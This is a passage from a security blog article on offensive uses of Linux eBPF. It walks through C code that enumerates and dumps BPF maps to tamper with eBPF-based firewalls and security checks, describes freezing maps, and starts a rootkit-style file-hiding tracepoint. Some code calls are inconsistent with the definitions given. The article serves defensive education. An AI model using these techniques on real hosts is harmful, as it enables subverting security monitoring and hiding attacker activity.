						        aria-controls="nav-links-desktop-content">
							<span class="open">Show Table of Contents +</span>
							<span class="close">Hide &minus;</span>
						</button>
					</div>
				</div>


				<div class="dropdown flex lg:hidden col-12 py-6">
					<a class="dropdown-toggle text-black px-5 py-2"
						 id="dropdownMenuButton"
						 data-toggle="dropdown"
						 aria-expanded="false"
						 data-flip="false"
						 data-offset="0, -20">Content</a>
					<div class="dropdown-menu px-4 pb-5 pt-8" aria-labelledby="dropdownMenuButton">
						<ul class="px-1">
															<li>
									<a href="#probes">Probes everywhere - eBPF hooks</a>
								</li>
															<li>
									<a href="#eBPF">eBPF programs</a>
								</li>
															<li>
									<a href="#exploitation">eBPF exploitation</a>
								</li>
															<li>
									<a href="#mitigation">Mitigation</a>
								</li>
															<li>
									<a href="#conclusion">Conclusion</a>
								</li>
													</ul>
					</div>
				</div>
							
		
			<div class="col-12 col-lg-8 offset-lg-2">

				
				<div class="entry-content wp-block-post-content has-global-padding is-layout-constrained wp-block-post-content-is-layout-constrained"><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p>It&rsquo;s not a mystery that<a href="https://ebpf.io" target="_blank" rel="noreferrer noopener nofollow"> eBPF</a> (Extended Berkeley Packet Filter) is a powerful technology, and given its nature, it can be used for good and bad purposes. In this article, we will explore some of the offensive capabilities that eBPF can provide to an attacker and how to defend against them.</p>



<p>eBPF has gained a lot of attention since its first release in 2014 into the Linux kernel (Kernel 4.4). This powerful technology allows one to run programs deep inside the Linux kernel without the need to write kernel modules or load kernel drivers. These programs are written in a restricted <em>C-like</em> language and compiled into bytecode that is executed by the kernel in the eBPF Virtual Machine. eBPF programs, given their nature, don&#8217;t have the usual lifecycle of a user-space process, but are rather executed when certain (programmer-specified) kernel events occur.</p>



<p>Those events take the name of <strong>hooks</strong> and are placed in various places in the kernel, such as network sockets, tracepoints, kprobes, uprobes, and more. They can be used for many different purposes, such as tracing, networking, and security.</p>



<p>In fact, in the many different security monitoring tools that exist today, <a href="https://sysdig.com/opensource/falco/" target="_blank" rel="noreferrer noopener">Falco</a> being one of them, eBPF can be used to monitor the system for malicious activity, performance analysis, and also enforce security policies.</p>



<h2 class="wp-block-heading" id="probes"><strong>Probes everywhere &#8211; eBPF hooks</strong></h2>



<p>eBPF programs can be <em>attached</em> to many different hooks inside the kernel, and the list is growing with every new kernel release. These hooks are called <em>probes</em> and they are placed in various places in the kernel. Here, we&rsquo;ll expand upon a few of them.</p>



<ol>
<li><strong>Kprobes</strong> &ndash; Kernel probes are used to instrument kernel functions. They are placed at the beginning or at the end of a function (<strong>Kretprobe</strong>) and they can be used to trace the execution of a function, to modify the arguments passed to the function, or to skip the execution of the function entirely.</li>



<li><strong>Uprobes</strong> &ndash; User probes are used to instrument user-space functions. They can be placed inside a function or any given address (<strong>Uretprobe</strong> exists too). They are different from Kprobes in the sense that they are used to instrument user-space.</li>



<li><strong>Tracepoints</strong> &ndash; Tracepoints are static markers placed at various points throughout the kernel. They are used to trace the execution of the kernel. The main difference with kprobes is that they are codified by the kernel developers when they implement changes in the kernel.</li>



<li><strong>TC</strong> or <strong>Traffic Control</strong> &ndash; Used to monitor and control the network traffic, they are similar to <em>eXpress Data Path</em> (XDP) programs, but they are executed after the packet has been processed by the kernel. They can be used to modify the packet or to drop it entirely.</li>



<li><strong>XPD</strong> or <strong>eXpress Data Path</strong> &ndash; Like traffic control hooks, they are used to monitor network packets, are way faster than TC hooks because they are executed before the packet is processed by the kernel, and they can be used to entirely modify the packet.</li>
</ol>



<p>With this many hooks available, eBPF programs can be used to monitor and modify the execution of the kernel. This is why eBPF is so powerful, and also why it can be used for bad purposes too.</p>



<h2 class="wp-block-heading" id="eBPF"><strong>eBPF programs</strong></h2>



<p>eBPF programs are compiled into bytecode that is executed by the kernel. The eBPF programs are loaded into the kernel using the <code>bpf()</code> syscall &#8211; the syscall signature looks like this:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-1" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><link rel="stylesheet" id="syntax-highlighting-code-block-css" href="https://sysdig.com/wp-content/plugins/syntax-highlighting-code-block/vendor/scrivo/highlight-php/styles/default.css?ver=1.4.0" type="text/css" media="all"><style>.wp-block-code {
	border: 0;
	padding: 0;
	-webkit-text-size-adjust: 100%;
	text-size-adjust: 100%;
}

.wp-block-code > span {
	display: block;
	overflow: auto;
}

.shcb-language {
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal;
	word-break: normal;
}

.hljs {
	box-sizing: border-box;
}

.hljs.shcb-code-table {
	display: table;
	width: 100%;
}

.hljs.shcb-code-table > .shcb-loc {
	color: inherit;
	display: table-row;
	width: 100%;
}

.hljs.shcb-code-table .shcb-loc > span {
	display: table-cell;
}

.wp-block-code code.hljs:not(.shcb-wrap-lines) {
	white-space: pre;
}

.wp-block-code code.hljs.shcb-wrap-lines {
	white-space: pre-wrap;
}

.hljs.shcb-line-numbers {
	border-spacing: 0;
	counter-reset: line;
}

.hljs.shcb-line-numbers > .shcb-loc {
	counter-increment: line;
}

.hljs.shcb-line-numbers .shcb-loc > span {
	padding-left: 0.75em;
}

.hljs.shcb-line-numbers .shcb-loc::before {
	border-right: 1px solid #ddd;
	content: counter(line);
	display: table-cell;
	padding: 0 0.75em;
	text-align: right;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none;
	white-space: nowrap;
	width: 1%;
}
</style><span><code class="hljs language-perl shcb-wrap-lines"><span class="hljs-keyword">int</span> bpf(<span class="hljs-keyword">int</span> cmd, union bpf_attr *attr, unsigned <span class="hljs-keyword">int</span> size);</code></span><small class="shcb-language" id="shcb-language-1"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>The <code>cmd</code> parameter is used to specify the operation to perform, the <code>attr</code> parameter is used to pass the arguments to the syscall, and the <code>size</code> parameter is used to specify the size of the <code>attr</code> parameter.</p>



<p>There are many different possible commands, some of them are:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-2" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines">enum bpf_cmd {
    BPF_MAP_CREATE,   <span class="hljs-regexp">/* create map */</span>
    BPF_MAP_LOOKUP_ELEM, <span class="hljs-regexp">/* lookup element in map */</span>
    BPF_MAP_UPDATE_ELEM, <span class="hljs-regexp">/* update element in map */</span>
    BPF_MAP_DELETE_ELEM, <span class="hljs-regexp">/* delete element in map */</span>
    BPF_MAP_GET_NEXT_KEY, <span class="hljs-regexp">/* get next key in map */</span>
    BPF_PROG_LOAD,   <span class="hljs-regexp">/* load BPF program */</span>
    ...
    ...
};
</code></span><small class="shcb-language" id="shcb-language-2"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>Right now, we are interested in the <code>BPF_PROG_LOAD</code> command. This command is used to load an eBPF program into the kernel, and the <code>attr</code> parameter will specify the type of the program to load, the bytecode, the size of the bytecode, and other parameters. The <code>bpf()</code> syscall will return a <em>file descriptor</em> related to the program being loaded. This file descriptor can be used to attach the program to a hook, or to unload the program from the kernel. The program will remain in the kernel memory until the file descriptor is closed.</p>



<p>Fortunately for us, we don&rsquo;t have to directly call the <code>bpf()</code> syscall in order to create eBPF programs. There are many different libraries that can be used to create eBPF programs, some of them are:</p>



<ul>
<li><a href="https://github.com/libbpf/libbpf">libbpf</a> &ndash; written in C</li>



<li><a href="https://github.com/aquasecurity/libbpfgo">libbpfgo</a> &ndash; written in Go</li>



<li><a href="https://github.com/cilium/ebpf">ebpf-go</a> &ndash; written in Go</li>
</ul>



<p>We will use <code>libbpfgo</code> in this article, but the concepts are the same for all the libraries.</p>



<h3 class="wp-block-heading">Kernel-mode to user-mode communication and vice-versa</h3>



<p>eBPF programs are executed in the kernel, but they can communicate with user-space programs and vice-versa. This is done using special objects called <strong>maps</strong>. Maps are key-value stores that can be used to exchange data between the kernel and user-space. They are created using the <code>BPF_MAP_CREATE</code> command, and they can be of different types. Some of them are:</p>



<ul>
<li><strong>BPF_MAP_TYPE_ARRAY</strong> &ndash; an array of elements, each element can be accessed using an index.</li>



<li><strong>BPF_MAP_TYPE_HASH</strong> &ndash; a hash table, each element can be accessed using a key.</li>



<li><strong>BPF_MAP_TYPE_PERCPU_ARRAY</strong> &ndash; an array of elements, each element can be accessed using an index, but uses a different memory region per CPU.</li>



<li><strong>BPF_MAP_TYPE_PERCPU_HASH</strong> &ndash; a hash table, each element can be accessed using a key, but uses a different memory region per CPU.</li>



<li><strong>BPF_MAP_TYPE_STACK</strong> &ndash; a stack of elements, each element can be accessed using an index, the elements are stored in a LIFO fashion.</li>



<li><strong>BPF_MAP_TYPE_QUEUE</strong> &ndash; a queue of elements, each element can be accessed using an index, the elements are stored in a FIFO fashion.</li>



<li><strong>BPF_MAP_TYPE_PERF_EVENT_ARRAY</strong> &ndash; a special map used to send events to user-space.</li>
</ul>



<p>For our purpose, we will use a <code>BPF_MAP_TYPE_HASH</code> to share some structs between the user-space and the kernel and a <code>BPF_MAP_TYPE_PERF_EVENT_ARRAY</code> to send events to user-space.</p>



<h3 class="wp-block-heading">eBPF programs format</h3>



<p>As we said before, eBPF programs are written in a restricted <em>C-like</em> language which is then translated into bytecode. The eBPF virtual machine is a 64-bit <strong><em>RISC</em></strong> machine, and it has 11 registers and a fixed size (512 bytes) stack. The registers are:</p>



<ul>
<li><strong>r0</strong> &ndash; stores return values, both for function calls and the current program exit code.</li>



<li><strong>r1</strong>&#8211;<strong>r5</strong> &ndash; used as function call arguments, upon program start r1 contains the &ldquo;context&rdquo; argument pointer.</li>



<li><strong>r6</strong>&#8211;<strong>r9</strong> &ndash; these get preserved between kernel function calls.</li>



<li><strong>r10</strong> &ndash; stack pointer.</li>
</ul>



<p>Nonetheless, the eBPF virtual machine can also use 32-bit addressing if the most significant bit of the register is zeroed.</p>



<p>This source-to-bytecode translation is handled by <strong><code>clang</code> </strong>which can easily target the eBPF virtual architecture. In order to compile a C program into eBPF bytecode, we can use the following command:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-3" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines">clang -target bpf -c program.c -o program.o</code></span><small class="shcb-language" id="shcb-language-3"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>This will compile the <code>program.c</code> file into <code>program.o</code> which is the bytecode file. This file can then be relocated and loaded into the kernel using the libraries we mentioned before.</p>



<h3 class="wp-block-heading"><strong>JIT compilation, Verifier, and ALU sanitization</strong></h3>



<p>Due to its performance-critical nature, eBPF programs are compiled from VM Bytecode into native machine code by the kernel. This is called <strong>JIT</strong> or <strong>Just In Time</strong> compilation, and is done only once (when the program is loaded). Unless the kernel is compiled with <code>CONFIG_BPF_JIT_ALWAYS_ON=false</code>, the compiled program is then stored in the kernel memory and is executed every time the hook is triggered.</p>



<p>Executing untrusted code inside the kernel may be a really dangerous thing, and this is why the kernel developers implemented a <strong>verifier </strong>that checks the bytecode before compiling it, this verifier checks that the program is safe to execute, and it also checks that the program is not too complex. This is done to avoid <a href="https://sysdig.com/blog/how-to-prevent-ddos-attack-cloud/">denial of services</a> (DoS) attacks. The verifier is also used to check that the program is not trying to access memory outside the stack, or that it is not trying to access memory that is not mapped. This is done to avoid memory corruption attacks (ALU sanitization).</p>



<p>This safety is achieved by emulating the sequence of instructions and checking that the registers are used correctly. Below are some of the checks performed by the verifier, to name a few:</p>



<ul>
<li>Pointer bounds checking</li>



<li>Verifying that the stack&rsquo;s reads are preceded by stack writes</li>



<li>Preventing the use of unbounded loops</li>



<li>Register value tracking</li>



<li>Branch pruning</li>



<li>And many more&hellip;</li>
</ul>



<p>More information about the verifier can be found <a href="https://docs.kernel.org/bpf/verifier.html">here</a>.</p>



<h3 class="wp-block-heading">eBPF offensive capabilities</h3>



<p>Given the knowledge we have so far, we can start to think about some offensive capabilities that eBPF programs can provide. Below are some of them:</p>



<ul>
<li><strong>Abusing direct map access</strong> &ndash; eBPF programs can access maps directly, meaning that if we have access to a map file descriptor, we can modify the logic of the program.</li>



<li><strong>Abusing Kprobes</strong> &ndash; eBPF programs use carefully crafted Kprobes to hook into kernel functions, so we can modify the behavior of the kernel like hiding processes or files.</li>



<li><strong>Abusing TC hook</strong> &ndash; eBPF programs can be attached to the TC hook, meaning that we can use eBPF programs to modify the traffic of a specific interface even hiding malicious traffic.</li>



<li><strong>Abusing Uprobes</strong> &ndash; eBPF programs can use Uprobes to hook into user-space functions, meaning that we can modify the behavior of user-space programs.</li>
</ul>



<p>Following, we will see some examples of these capabilities.</p>



<h4 class="wp-block-heading">Abusing direct map access</h4>



<p>Due to their nature, maps are a great target for attackers since writing to a map could modify the logic of the underlying eBPF program. Assume we are analyzing a firewall implementation entirely done with eBPF. The user-space component could talk over maps to the kernel to update the list of firewall rules. In order to do this, we would need access to that map file description. That&rsquo;s actually possible thanks to <code>BPF_MAP_GET_NEXT_ID</code> , <code>BPF_MAP_GET_NEXT_KEY</code> and <code>BPF_MAP_LOOKUP_ELEM</code> commands. Root permission is needed.</p>



<p>First of all, we need to start looping through all the available maps. This can be done using the <code>BPF_MAP_GET_NEXT_ID</code> command, which will return the next available map id. We can use this command to loop through all the available maps. The following code shows how to do this:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-4" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines">static <span class="hljs-keyword">int</span> bpf_obj_get_next_id(__u32 start_id, __u32 *next_id)
{
    const size_t attr_sz = offsetofend(union bpf_attr, open_flags);
    union bpf_attr attr;
    <span class="hljs-keyword">int</span> err;

    memset(&amp;attr, <span class="hljs-number">0</span>, attr_sz);
    attr.start_id = start_id;

    err = sys_bpf(BPF_MAP_GET_NEXT_ID, &amp;attr, attr_sz);
    <span class="hljs-keyword">if</span> (!err)
        *next_id = attr.next_id;

    <span class="hljs-keyword">return</span> err;
}</code></span><small class="shcb-language" id="shcb-language-4"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>To loop through all the available maps, we can do something like this:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-5" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines"><span class="hljs-keyword">while</span> (bpf_obj_get_next_id(next_id, &amp;next_id) == <span class="hljs-number">0</span>) {
    <span class="hljs-regexp">//</span> <span class="hljs-keyword">do</span> something with the id
}</code></span><small class="shcb-language" id="shcb-language-5"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>Once we have the map id, we can use the <code>BPF_MAP_GET_FD_BY_ID</code> command to get the file descriptor of the map. This can be done in the following way:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-6" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines"><span class="hljs-keyword">int</span> bpf_map_get_fd_by_id_opts(uint32_t id, const struct bpf_get_fd_by_id_opts *opts)
{
    const size_t attr_sz = offsetofend(union bpf_attr, open_flags);
    union bpf_attr attr;
    <span class="hljs-keyword">int</span> fd;

    <span class="hljs-keyword">if</span> (!OPTS_VALID(opts, bpf_get_fd_by_id_opts))
        <span class="hljs-keyword">return</span> libbpf_err(-EINVAL);

    memset(&amp;attr, <span class="hljs-number">0</span>, attr_sz);
    attr.map_id = id;
    attr.open_flags = OPTS_GET(opts, open_flags, <span class="hljs-number">0</span>);

    fd = sys_bpf_fd(BPF_MAP_GET_FD_BY_ID, &amp;attr, attr_sz);
    <span class="hljs-keyword">return</span> libbpf_err_errno(fd);
}</code></span><small class="shcb-language" id="shcb-language-6"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>Then we can retrieve the map file descriptor:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-7" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines"><span class="hljs-keyword">int</span> fd = bpf_map_get_fd_by_id(next_id);
</code></span><small class="shcb-language" id="shcb-language-7"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>Once we have the file descriptor, we can get the map type and the map name using the <code>BPF_OBJ_GET_INFO_BY_FD</code> command:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-8" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines"><span class="hljs-keyword">int</span> bpf_obj_get_info_by_fd(<span class="hljs-keyword">int</span> bpf_fd, void *info, __u32 *info_len)
{
    const size_t attr_sz = offsetofend(union bpf_attr, info);
    union bpf_attr attr;
    <span class="hljs-keyword">int</span> err;

    memset(&amp;attr, <span class="hljs-number">0</span>, attr_sz);
    attr.info.bpf_fd = bpf_fd;
    attr.info.info_len = *info_len;
    attr.info.info = ptr_to_u64(info);

    err = sys_bpf(BPF_OBJ_GET_INFO_BY_FD, &amp;attr, attr_sz);
    <span class="hljs-keyword">if</span> (!err)
        *info_len = attr.info.info_len;
    <span class="hljs-keyword">return</span> libbpf_err_errno(err);
}
</code></span><small class="shcb-language" id="shcb-language-8"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>Then we can retrieve the map type and the map name:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-9" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines">struct bpf_map_info info = {};
__u32 info_len = sizeof(info);
<span class="hljs-keyword">int</span> ret = bpf_obj_get_info_by_fd(fd, &amp;info, &amp;info_len);</code></span><small class="shcb-language" id="shcb-language-9"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>The struct <code>bpf_map_info</code> contains the map type and the map name. We can read them this way:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-10" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines"><span class="hljs-keyword">printf</span>(<span class="hljs-string">"map name: %s\n"</span>, info.name);
<span class="hljs-keyword">printf</span>(<span class="hljs-string">"map type: %d\n"</span>, info.type);</code></span><small class="shcb-language" id="shcb-language-10"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>This is actually really useful if we want to filter the maps by name or by type:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-11" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines"><span class="hljs-keyword">if</span> (!strcmp(info.name, <span class="hljs-string">"firewall"</span>) || info.type != BPF_MAP_TYPE_HASH) {
    <span class="hljs-regexp">//</span> <span class="hljs-keyword">do</span> something
}</code></span><small class="shcb-language" id="shcb-language-11"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>Once we have all the needed information, we can start to interact with the map. For example, we can retrieve all the keys of the map using the <code>BPF_MAP_GET_NEXT_KEY</code> command:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-12" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines"><span class="hljs-keyword">int</span> bpf_map_get_next_key(<span class="hljs-keyword">int</span> fd, const void *key, void *next_key)
{
    const size_t attr_sz = offsetofend(union bpf_attr, next_key);
    union bpf_attr attr;
    <span class="hljs-keyword">int</span> ret;

    memset(&amp;attr, <span class="hljs-number">0</span>, attr_sz);
    attr.map_fd = fd;
    attr.key = ptr_to_u64(key);
    attr.next_key = ptr_to_u64(next_key);

    ret = sys_bpf(BPF_MAP_GET_NEXT_KEY, &amp;attr, attr_sz);
    <span class="hljs-keyword">return</span> libbpf_err_errno(ret);
}</code></span><small class="shcb-language" id="shcb-language-12"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>And then we can look up the keys:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-13" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines">unsigned <span class="hljs-keyword">int</span> key = -<span class="hljs-number">1</span>;
unsigned <span class="hljs-keyword">int</span> next_key = -<span class="hljs-number">1</span>;
<span class="hljs-keyword">while</span> (bpf_map_get_next_key(fd, key, next_key) == <span class="hljs-number">0</span>) {
    <span class="hljs-regexp">//</span> <span class="hljs-keyword">do</span> something with the key
}</code></span><small class="shcb-language" id="shcb-language-13"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>With the <code>BPF_MAP_LOOKUP_ELEM</code> command, we can look up the value of a given key:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-14" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines"><span class="hljs-keyword">int</span> bpf_map_lookup_elem(<span class="hljs-keyword">int</span> fd, const void *key, void *value)
{
    const size_t attr_sz = offsetofend(union bpf_attr, flags);
    union bpf_attr attr;
    <span class="hljs-keyword">int</span> ret;

    memset(&amp;attr, <span class="hljs-number">0</span>, attr_sz);
    attr.map_fd = fd;
    attr.key = ptr_to_u64(key);
    attr.value = ptr_to_u64(value);

    ret = sys_bpf(BPF_MAP_LOOKUP_ELEM, &amp;attr, attr_sz);
    <span class="hljs-keyword">return</span> libbpf_err_errno(ret);
}</code></span><small class="shcb-language" id="shcb-language-14"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>The final code will look like this:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-15" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines"><span class="hljs-keyword">int</span> main(<span class="hljs-keyword">int</span> argc, char **argv)
{
    unsigned <span class="hljs-keyword">int</span> next_id = <span class="hljs-number">0</span>;

    <span class="hljs-keyword">while</span> (bpf_obj_get_next_id(next_id, &amp;next_id, BPF_MAP_GET_NEXT_ID) == <span class="hljs-number">0</span>)
    {
        <span class="hljs-keyword">int</span> fd = bpf_map_get_fd_by_id(next_id);

        <span class="hljs-keyword">if</span> (fd &lt; <span class="hljs-number">0</span>)
        {
            <span class="hljs-keyword">printf</span>(<span class="hljs-string">"bpf_map_get_fd_by_id failed: %d (%d)\n"</span>, fd, errno);
            <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
        }

        struct bpf_map_info info = {};
        __u32 info_len = sizeof(info);
        <span class="hljs-keyword">int</span> ret = bpf_obj_get_info_by_fd(fd, &amp;info, &amp;info_len);

        <span class="hljs-keyword">if</span> (ret &lt; <span class="hljs-number">0</span>)
        {
            <span class="hljs-keyword">printf</span>(<span class="hljs-string">"bpf_obj_get_info_by_fd failed: %d (%d)\n"</span>, ret, errno);
            <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
        }

        <span class="hljs-keyword">printf</span>(<span class="hljs-string">"map fd: %d\n"</span>, fd);
        <span class="hljs-keyword">printf</span>(<span class="hljs-string">"map name: %s\n"</span>, info.name);
        <span class="hljs-keyword">printf</span>(<span class="hljs-string">"map type: %s\n"</span>, bpf_map_type_to_string(info.type));
        <span class="hljs-keyword">printf</span>(<span class="hljs-string">"map key size: %d\n"</span>, info.key_size);
        <span class="hljs-keyword">printf</span>(<span class="hljs-string">"map value size: %d\n"</span>, info.value_size);
        <span class="hljs-keyword">printf</span>(<span class="hljs-string">"map max entries: %d\n"</span>, info.max_entries);
        <span class="hljs-keyword">printf</span>(<span class="hljs-string">"map flags: %d\n"</span>, info.map_flags);
        <span class="hljs-keyword">printf</span>(<span class="hljs-string">"map id: %d\n"</span>, info.id);

        unsigned <span class="hljs-keyword">int</span> next_key = <span class="hljs-number">0</span>;

        <span class="hljs-keyword">printf</span>(<span class="hljs-string">"keys:\n"</span>);
        <span class="hljs-keyword">while</span> (bpf_map_get_next_key(fd, &amp;next_key, &amp;next_key) == <span class="hljs-number">0</span>)
        {
            void *value = malloc(info.value_size);
            ret = bpf_map_lookup_elem(fd, &amp;next_key, value);

            <span class="hljs-keyword">if</span> (ret == <span class="hljs-number">0</span>)
            {
                <span class="hljs-keyword">printf</span>(<span class="hljs-string">"    - %d\n"</span>, next_key);
                map_hexdump(value, info.value_size);
                <span class="hljs-keyword">printf</span>(<span class="hljs-string">"\n"</span>);
            }
        }

        <span class="hljs-keyword">printf</span>(<span class="hljs-string">"------------------------\n"</span>);
    }

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}</code></span><small class="shcb-language" id="shcb-language-15"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>Once we have access to the file descriptor, it&rsquo;s just a matter of reversing the map content and interpreting it. This would allow an attacker to modify the map content and change the behavior of the eBPF program (e.g.,&nbsp;bypassing security checks).</p>



<p>A funny attack could be abusing the <code>BPF_MAP_FREEZE</code> command, as stated in the documentation:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-16" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines">/*
 * BPF_MAP_FREEZE
 *  Description
 *      Freeze the permissions of the specified map.
 *
 *      Write permissions may be frozen by passing zero *flags*.
 *      Upon success, <span class="hljs-keyword">no</span> future <span class="hljs-keyword">syscall</span> invocations may alter the
 *      <span class="hljs-keyword">map</span> <span class="hljs-keyword">state</span> of *map_fd*. Write operations from eBPF programs
 *      are still possible <span class="hljs-keyword">for</span> a frozen map.
 *
 *      Not supported <span class="hljs-keyword">for</span> maps of type **BPF_MAP_TYPE_STRUCT_OPS**.
 *
 *  Return
 *      Returns zero on success. On error, -<span class="hljs-number">1</span> is returned <span class="hljs-keyword">and</span> *errno*
 *      is set appropriately.
 *<span class="hljs-regexp">/</span></code></span><small class="shcb-language" id="shcb-language-16"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p>Doing so would prevent any future syscall to alter the map state from userspace (e.g., bypassing security checks). This means that the map content can be modified only by eBPF programs.</p>



<h4 class="wp-block-heading">Hiding files with Kprobes</h4>



<p>Hooking syscalls from the kernel itself is quite handy when it comes to hiding files, folders, or even processes from the user. The following example shows how to hide a specific file from any command that tries to read it (e.g.,&nbsp;<code>cat</code>, <code>nano</code>, <code>grep</code> etc.).</p>



<p>It works by setting a tracepoint on the <code>sys_enter</code> event which gets triggered every time a syscall is invoked, then it checks if the syscall id is <code>SYS_openat</code> and if the path matches the one we want to hide. If so, it overwrites the path with a null byte. This example uses maps to store both the target path and eventually the target process name and pid. This allows us to hide the file only for a specific process or for all the processes.</p>



<p>The first thing to do is create a new tracepoint using the <code>BPF_PROG_TYPE_RAW_TRACEPOINT</code> program type. This can be done like this:</p>


<pre class="wp-block-code" aria-describedby="shcb-language-17" data-shcb-language-name="Perl" data-shcb-language-slug="perl"><span><code class="hljs language-perl shcb-wrap-lines">SEC(<span class="hljs-string">"raw_tracepoint/sys_enter"</span>)
<span class="hljs-keyword">int</span> raw_tracepoint__sys_enter(struct bpf_raw_tracepoint_args *ctx)
{
    <span class="hljs-regexp">//</span> your code here

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}</code></span><small class="shcb-language" id="shcb-language-17"><span class="shcb-language__label">Code language:</span> <span class="shcb-language__name">Perl</span> <span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span><span class="shcb-language__paren">)</span></small></pre>


<p><code>SEC</code> is a macro that is used to specify the section of the program. In this case, we are using the <code>raw_tracepoint/sys_enter</code> section. This section will be used by libbpf to attach the program to the <code>sys_enter</code> tracepoint.</p>



<p>The <code>bpf_raw_tracepoint_args</code> struct contains the arguments passed to the tracepoint. In this case, the first argument is a pointer to the <code>pt_regs</code> struct. This structure contains the registers of the current process. The second argument is the syscall id, so we want to check if the syscall id is <code>SYS_openat</code> and, if so, we want to overwrite the path with a null byte.</p>


